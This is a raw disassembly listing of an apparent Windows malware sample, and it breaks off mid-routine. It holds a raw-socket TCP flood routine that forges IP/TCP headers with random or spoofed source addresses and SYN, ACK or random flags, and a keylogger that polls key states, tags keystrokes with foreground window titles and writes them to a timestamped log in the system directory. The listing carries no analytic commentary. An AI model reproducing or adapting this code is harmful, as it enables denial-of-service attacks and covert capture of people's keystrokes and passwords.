		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	ds:dword_436448	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_401D12
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_415500
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	ds:dword_436468	; htons
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	ds:dword_436468	; htons
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	ds:dword_436468	; htons
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	ds:dword_436468	; htons
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	ds:dword_422050	; QueryPerformanceFrequency
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:dword_42204C	; QueryPerformanceCounter
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_415930
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_401BA1:				; CODE XREF: sub_401A76+25Dj
					; sub_401A76+26Bj
		mov	[ebp+var_24], bx
		call	sub_4154DC
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ds:dword_436468	; htons
		mov	[ebp+var_34], ax
		call	sub_4154DC
		mov	edi, eax
		shl	edi, 10h
		call	sub_4154DC
		or	edi, eax
		push	edi
		call	ds:dword_436468	; htons
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	ds:dword_436464	; htonl
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	ds:dword_436468	; htons
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_415560
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_415560
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40957F
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_415560
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_415560
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_415500
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40957F
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_415560
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	ds:dword_4364CC	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401CE6
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:dword_42204C	; QueryPerformanceCounter
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_401D0F
		jl	loc_401BA1
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_401D0F
		jmp	loc_401BA1
; ---------------------------------------------------------------------------


loc_401CE6:				; CODE XREF: sub_401A76+247j
		call	ds:dword_4363FC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	(offset	loc_4242A7+1)
		push	eax
		call	sub_415480
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_40A5B3
		add	esp, 10h
		jmp	short loc_401D12
; ---------------------------------------------------------------------------


loc_401D0F:				; CODE XREF: sub_401A76+25Bj
					; sub_401A76+269j
		mov	ebx, [ebp+arg_8]


loc_401D12:				; CODE XREF: sub_401A76+78j
					; sub_401A76+297j
		push	[ebp+var_C]
		call	ds:dword_436500	; closesocket
		pop	esi


loc_401D1C:				; CODE XREF: sub_401A76+5Bj
		call	ds:dword_4363C8	; WSACleanup
		mov	eax, ebx


loc_401D24:				; CODE XREF: sub_401A76+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_401A76	endp


; =============== S U B	R O U T	I N E =======================================



sub_401D28	proc near		; CODE XREF: sub_4019D7+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_409410
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_4159EF
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_4159EF
		mov	edi, eax
		call	sub_4154DC
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_401A76
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_401D73
		push	1
		pop	eax


loc_401D73:				; CODE XREF: sub_401D28+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401D28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D82	proc near		; DATA XREF: sub_40D2E0+2D38o

var_440		= byte ptr -440h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
var_1BC		= byte ptr -1BCh
var_13C		= byte ptr -13Ch
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_8C		= byte ptr -8Ch
var_80		= byte ptr -80h
var_78		= byte ptr -78h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_240]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_9F]
		push	0Eh
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_A0], bl
		rep stosd
		stosw
		stosb
		mov	edi, ds:dword_422048
		call	edi	; GetTickCount
		push	eax
		call	sub_4154D2
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	ds:dword_4364E8	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_401E4B
		call	ds:dword_4363FC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_440]
		push	(offset	loc_42441B+1)
		push	eax
		call	sub_415480
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401E2B
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40BAE7
		add	esp, 14h


loc_401E2B:				; CODE XREF: sub_401D82+84j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40A5B3
		push	[ebp+var_BC]
		call	sub_415248
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_422044	; ExitThread


loc_401E4B:				; CODE XREF: sub_401D82+61j
		lea	ecx, [ebp+var_34]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_34], esi
		call	ds:dword_436448	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401EC9
		call	ds:dword_4363FC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_4243D4
		push	eax
		call	sub_415480
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401EA9
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40BAE7
		add	esp, 14h


loc_401EA9:				; CODE XREF: sub_401D82+102j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40A5B3
		push	[ebp+var_BC]
		call	sub_415248
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_422044	; ExitThread


loc_401EC9:				; CODE XREF: sub_401D82+DFj
		lea	eax, [ebp+var_23C]
		push	eax
		call	ds:dword_4364A8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401F39
		lea	eax, [ebp+var_440]
		push	offset dword_4243A4
		push	eax
		call	sub_415480
		cmp	[ebp+var_A8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_401F19
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40BAE7
		add	esp, 14h


loc_401F19:				; CODE XREF: sub_401D82+172j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40A5B3
		push	[ebp+var_BC]
		call	sub_415248
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_422044	; ExitThread


loc_401F39:				; CODE XREF: sub_401D82+157j
		push	10h
		lea	eax, [ebp+var_44]
		push	ebx
		push	eax
		call	sub_415500
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	ebx
		call	ds:dword_436468	; htons
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_23C]
		push	eax
		call	ds:dword_4364A8	; inet_addr
		mov	[ebp+var_40], eax
		mov	[ebp+arg_0], ebx
		call	edi	; GetTickCount
		mov	[ebp+var_30], eax


loc_401F71:				; CODE XREF: sub_401D82+430j
		call	edi	; GetTickCount
		sub	eax, [ebp+var_30]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_B4]
		ja	loc_402235
		push	28h
		mov	[ebp+var_2C], 45h
		call	ds:dword_436468	; htons
		cmp	[ebp+var_B0], ebx
		mov	[ebp+var_2A], ax
		mov	[ebp+var_28], si
		mov	[ebp+var_26], bx
		mov	[ebp+var_24], 80h
		mov	[ebp+var_23], 6
		mov	[ebp+var_22], bx
		jz	short loc_401FE4
		call	sub_4154DC
		mov	esi, eax
		shl	esi, 8
		call	sub_4154DC
		add	esi, eax
		shl	esi, 8
		call	sub_4154DC
		add	esi, eax
		shl	esi, 8
		call	sub_4154DC
		add	esi, eax
		push	1
		mov	[ebp+var_20], esi
		pop	esi
		jmp	short loc_401FFA
; ---------------------------------------------------------------------------


loc_401FE4:				; CODE XREF: sub_401D82+233j
		push	[ebp+var_240]
		call	sub_409526
		pop	ecx
		push	eax
		call	ds:dword_4364A8	; inet_addr
		mov	[ebp+var_20], eax


loc_401FFA:				; CODE XREF: sub_401D82+260j
		mov	eax, [ebp+var_40]
		cmp	[ebp+var_B8], ebx
		mov	[ebp+var_1C], eax
		jnz	short loc_402018
		call	sub_4154DC
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_40201E
; ---------------------------------------------------------------------------


loc_402018:				; CODE XREF: sub_401D82+284j
		push	[ebp+var_B8]


loc_40201E:				; CODE XREF: sub_401D82+294j
		call	ds:dword_436468	; htons
		mov	[ebp+var_16], ax
		call	sub_4154DC
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	ds:dword_436468	; htons
		push	12345678h
		mov	[ebp+var_18], ax
		call	ds:dword_436464	; htonl
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_1BC]
		push	offset aSyn	; "syn"
		push	eax
		call	sub_415A50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40206E
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 2
		jmp	short loc_4020CA
; ---------------------------------------------------------------------------


loc_40206E:				; CODE XREF: sub_401D82+2E1j
		lea	eax, [ebp+var_1BC]
		push	offset aAck	; "ack"
		push	eax
		call	sub_415A50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40208E
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 10h
		jmp	short loc_4020CA
; ---------------------------------------------------------------------------


loc_40208E:				; CODE XREF: sub_401D82+301j
		lea	eax, [ebp+var_1BC]
		push	offset aRandom	; "random"
		push	eax
		call	sub_415A50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4020CA
		call	sub_4154DC
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_10], edx
		call	sub_4154DC
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_B], dl


loc_4020CA:				; CODE XREF: sub_401D82+2EAj
					; sub_401D82+30Aj ...
		push	200h
		mov	[ebp+var_C], 50h
		call	ds:dword_436468	; htons
		mov	[ebp+var_A], ax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_64], eax
		mov	eax, [ebp+var_1C]
		push	14h
		mov	[ebp+var_6], bx
		mov	[ebp+var_8], bx
		mov	[ebp+var_60], eax
		mov	[ebp+var_5C], bl
		mov	[ebp+var_5B], 6
		call	ds:dword_436468	; htons
		mov	[ebp+var_5A], ax
		lea	eax, [ebp+var_64]
		push	20h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_415560
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_415560
		lea	eax, [ebp+var_A0]
		push	34h
		push	eax
		call	sub_40957F
		mov	[ebp+var_8], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_415560
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		call	sub_415560
		push	4
		lea	eax, [ebp+var_78]
		push	ebx
		push	eax
		call	sub_415500
		add	esp, 44h
		lea	eax, [ebp+var_A0]
		push	28h
		push	eax
		call	sub_40957F
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_415560
		add	esp, 14h
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_A0]
		push	3Ch
		push	eax
		push	[ebp+var_4]
		call	ds:dword_4364CC	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4021B7
		inc	[ebp+arg_0]
		jmp	loc_401F71
; ---------------------------------------------------------------------------


loc_4021B7:				; CODE XREF: sub_401D82+42Bj
		push	[ebp+var_4]
		call	ds:dword_436500	; closesocket
		call	ds:dword_4363FC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		push	(offset	loc_424333+1)
		lea	eax, [ebp+var_440]
		push	200h
		push	eax
		call	sub_4159FA
		add	esp, 18h
		cmp	[ebp+var_A8], ebx
		jnz	short loc_402215
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40BAE7
		add	esp, 14h


loc_402215:				; CODE XREF: sub_401D82+46Ej
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40A5B3
		push	[ebp+var_BC]
		call	sub_415248
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_422044	; ExitThread


loc_402235:				; CODE XREF: sub_401D82+203j
		push	[ebp+var_4]
		call	ds:dword_436500	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_B4]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_1BC]
		push	eax
		lea	eax, [ebp+var_440]
		push	offset loc_4242D4
		push	eax
		call	sub_415480
		add	esp, 1Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_4022A6
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40BAE7
		add	esp, 14h


loc_4022A6:				; CODE XREF: sub_401D82+4FFj
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40A5B3
		push	[ebp+var_BC]
		call	sub_415248
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_422044	; ExitThread
sub_401D82	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4022C6	proc near		; CODE XREF: sub_4023A7+B4p
					; sub_4023A7+253p

var_314		= byte ptr -314h
var_114		= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= byte ptr  14h
arg_8C		= dword	ptr  94h
arg_90		= dword	ptr  98h

		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	ds:dword_42205C	; GetLocalTime
		lea	eax, [ebp+var_114]
		push	104h
		push	eax
		call	ds:dword_422058	; GetSystemDirectoryA
		lea	eax, [ebp+var_114]
		push	offset asc_424C0C ; "\\"
		push	eax
		call	sub_415BA0
		lea	eax, [ebp+var_114]
		push	offset dword_42AD9C
		push	eax
		call	sub_415BA0
		lea	eax, [ebp+var_114]
		push	offset aAb	; "ab"
		push	eax
		call	sub_415B78
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_40232D
		push	1
		pop	eax
		jmp	short loc_4023A4
; ---------------------------------------------------------------------------


loc_40232D:				; CODE XREF: sub_4022C6+60j
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_415B26
		push	esi
		call	sub_415AD0
		add	esp, 28h
		cmp	[ebp+arg_90], 0
		jnz	short loc_4023A2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_314]
		push	offset dword_424BCC
		push	200h
		push	eax
		call	sub_4159FA
		push	0
		lea	eax, [ebp+var_314]
		push	[ebp+arg_8C]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40BAE7
		add	esp, 24h


loc_4023A2:				; CODE XREF: sub_4022C6+A3j
		xor	eax, eax


loc_4023A4:				; CODE XREF: sub_4022C6+65j
		pop	esi
		leave
		retn
sub_4022C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4023A7	proc near		; DATA XREF: sub_40D2E0+1F95o

var_8DC		= dword	ptr -8DCh
var_8D8		= byte ptr -8D8h
var_4DC		= byte ptr -4DCh
var_2DD		= byte ptr -2DDh
var_2DC		= byte ptr -2DCh
var_DC		= byte ptr -0DCh
var_D8		= dword	ptr -0D8h
var_48		= byte ptr -48h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8DCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_8DC], 0
		push	25h
		and	[ebp+var_4], 0
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_DC]
		rep movsd
		mov	dword ptr [eax+90h], 1
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_8D8]
		rep stosd
		call	ds:dword_4363F0	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	ds:dword_436404	; GetWindowTextA
		mov	ebx, 200h


loc_402402:				; CODE XREF: sub_4023A7+2C7j
		push	8
		call	ds:dword_422054	; Sleep
		call	ds:dword_4363F0	; GetForegroundWindow
		cmp	eax, [ebp+var_8]
		jz	short loc_40248A
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	ds:dword_436404	; GetWindowTextA
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		lea	eax, [ebp+var_4DC]
		push	offset aSChangedWindow ; "%s (Changed Windows: %s)"
		push	eax
		call	sub_415480
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_4022C6
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_415500
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_415500
		add	esp, 0Ch


loc_40248A:				; CODE XREF: sub_4023A7+6Cj
		mov	[ebp+arg_0], (offset loc_424463+1)


loc_402491:				; CODE XREF: sub_4023A7+2BDj
		push	10h
		call	ds:dword_436348	; GetKeyState
		movsx	esi, ax
		mov	eax, [ebp+arg_0]
		mov	edi, [eax-4]
		push	edi
		call	ds:dword_436434	; GetAsyncKeyState
		test	ah, 80h
		jz	short loc_402529
		push	14h
		call	ds:dword_436348	; GetKeyState
		test	ax, ax
		jz	short loc_4024DA
		cmp	esi, 0FFFFFFFFh
		jle	short loc_4024DA
		cmp	edi, 40h
		jle	short loc_4024DA
		cmp	edi, 5Bh
		jge	short loc_4024DA
		mov	[ebp+edi*4+var_8DC], 1
		jmp	loc_402659
; ---------------------------------------------------------------------------


loc_4024DA:				; CODE XREF: sub_4023A7+112j
					; sub_4023A7+117j ...
		push	14h
		call	ds:dword_436348	; GetKeyState
		test	ax, ax
		jz	short loc_402505
		test	esi, esi
		jge	short loc_402519
		cmp	edi, 40h
		jle	short loc_402505
		cmp	edi, 5Bh
		jge	short loc_402505
		mov	[ebp+edi*4+var_8DC], 2
		jmp	loc_402659
; ---------------------------------------------------------------------------


loc_402505:				; CODE XREF: sub_4023A7+13Ej
					; sub_4023A7+147j ...
		test	esi, esi
		jge	short loc_402519
		mov	[ebp+edi*4+var_8DC], 3
		jmp	loc_402659
; ---------------------------------------------------------------------------


loc_402519:				; CODE XREF: sub_4023A7+142j
					; sub_4023A7+160j
		mov	[ebp+edi*4+var_8DC], 4
		jmp	loc_402659
; ---------------------------------------------------------------------------


loc_402529:				; CODE XREF: sub_4023A7+105j
		mov	esi, [ebp+edi*4+var_8DC]
		lea	eax, [ebp+edi*4+var_8DC]
		test	esi, esi
		jz	loc_402659
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_2DC]
		cmp	edi, 8
		push	eax
		jnz	short loc_402561
		call	sub_415C80
		and	[ebp+eax+var_2DD], 0
		pop	ecx
		jmp	loc_402659
; ---------------------------------------------------------------------------


loc_402561:				; CODE XREF: sub_4023A7+1A5j
		call	sub_415C80
		cmp	eax, 1B9h
		pop	ecx
		jbe	short loc_402593
		call	ds:dword_4363F0	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	ds:dword_436404	; GetWindowTextA
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSBufferFullS ; "%s (Buffer full) (%s)"
		jmp	short loc_4025D4
; ---------------------------------------------------------------------------


loc_402593:				; CODE XREF: sub_4023A7+1C5j
		cmp	edi, 0Dh
		jnz	loc_40262B
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_415C80
		test	eax, eax
		pop	ecx
		jz	loc_402659
		call	ds:dword_4363F0	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	ds:dword_436404	; GetWindowTextA
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSReturnS ; "%s (Return)	(%s)"


loc_4025D4:				; CODE XREF: sub_4023A7+1EAj
		lea	eax, [ebp+var_4DC]
		push	eax
		call	sub_415480
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_4022C6
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_415500
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_415500
		add	esp, 0Ch
		jmp	short loc_402659
; ---------------------------------------------------------------------------


loc_40262B:				; CODE XREF: sub_4023A7+1EFj
		cmp	esi, 1
		jz	short loc_402644
		cmp	esi, 3
		jz	short loc_402644
		cmp	esi, 2
		jz	short loc_40263F
		cmp	esi, 4
		jnz	short loc_402659


loc_40263F:				; CODE XREF: sub_4023A7+291j
		push	[ebp+arg_0]
		jmp	short loc_40264B
; ---------------------------------------------------------------------------


loc_402644:				; CODE XREF: sub_4023A7+287j
					; sub_4023A7+28Cj
		mov	eax, [ebp+arg_0]
		add	eax, 7
		push	eax


loc_40264B:				; CODE XREF: sub_4023A7+29Bj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_415BA0
		pop	ecx
		pop	ecx


loc_402659:				; CODE XREF: sub_4023A7+12Ej
					; sub_4023A7+159j ...
		add	[ebp+arg_0], 14h
		cmp	[ebp+arg_0], offset dword_424B94
		jl	loc_402491
		cmp	[ebp+var_4], 0
		jz	loc_402402
		push	[ebp+var_D8]
		call	sub_415248
		pop	ecx
		push	0
		call	ds:dword_422044	; ExitThread
sub_4023A7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402688	proc near		; DATA XREF: sub_40D2E0+1DDBo

var_102B4	= byte ptr -102B4h
var_102AB	= byte ptr -102ABh
var_102A8	= dword	ptr -102A8h
var_102A0	= dword	ptr -102A0h
var_10293	= byte ptr -10293h
var_1028C	= byte ptr -1028Ch
var_2B4		= byte ptr -2B4h
var_B4		= dword	ptr -0B4h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 102B4h
		call	sub_415D00
		mov	edx, [ebp+arg_0]
		push	esi
		push	edi
		push	1
		pop	eax
		mov	esi, edx
		push	25h
		lea	edi, [ebp+var_B4]
		pop	ecx
		mov	[ebp+var_8], eax
		rep movsd
		mov	[edx+90h], eax
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		call	sub_415500
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	esi
		call	ds:dword_436468	; htons
		push	[ebp+var_B4]
		mov	[ebp+var_1A], ax
		call	sub_409526
		pop	ecx
		push	eax
		call	ds:dword_4364A8	; inet_addr
		push	esi
		push	3
		push	2
		mov	[ebp+var_18], eax
		call	ds:dword_4364E8	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jnz	short loc_40275D
		call	ds:dword_4363FC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_4255F4
		push	eax
		call	sub_415480
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402740
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40BAE7
		add	esp, 14h


loc_402740:				; CODE XREF: sub_402688+96j
		lea	eax, [ebp+var_2B4]
		push	eax
